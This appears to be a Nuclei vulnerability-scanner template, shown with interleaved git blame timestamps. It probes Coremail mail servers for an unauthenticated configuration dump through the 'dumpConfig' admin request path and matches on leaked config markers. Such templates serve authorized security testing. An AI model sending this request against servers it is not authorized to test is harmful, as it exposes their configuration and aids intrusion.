2021-04-06 19:49:30 +00:00
|
|
|
id: coremail-config-disclosure
|
2021-04-08 16:53:50 +00:00
|
|
|
|
2021-04-06 19:49:30 +00:00
|
|
|
info:
|
|
|
|
name: Coremail Config Disclosure
|
|
|
|
author: princechaddha
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.secpulse.com/archives/107611.html
|
2021-04-06 19:49:30 +00:00
|
|
|
tags: config,exposure
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/mailsms/s?func=ADMIN:appState&dumpConfig=/'
|
2021-04-08 16:53:50 +00:00
|
|
|
|
2021-04-06 19:49:30 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<object name=\"cm_md_db\">"
|
|
|
|
- 'containerDefinitions'
|
2021-04-08 16:53:50 +00:00
|
|
|
- '<string name="User">coremail</string>'
|
|
|
|
- '<string name="EnableCoremailSmtp">'
|
|
|
|
condition: or
|
|
|
|
|
2021-04-06 19:49:30 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
2021-04-08 16:53:50 +00:00
|
|
|
- 200
|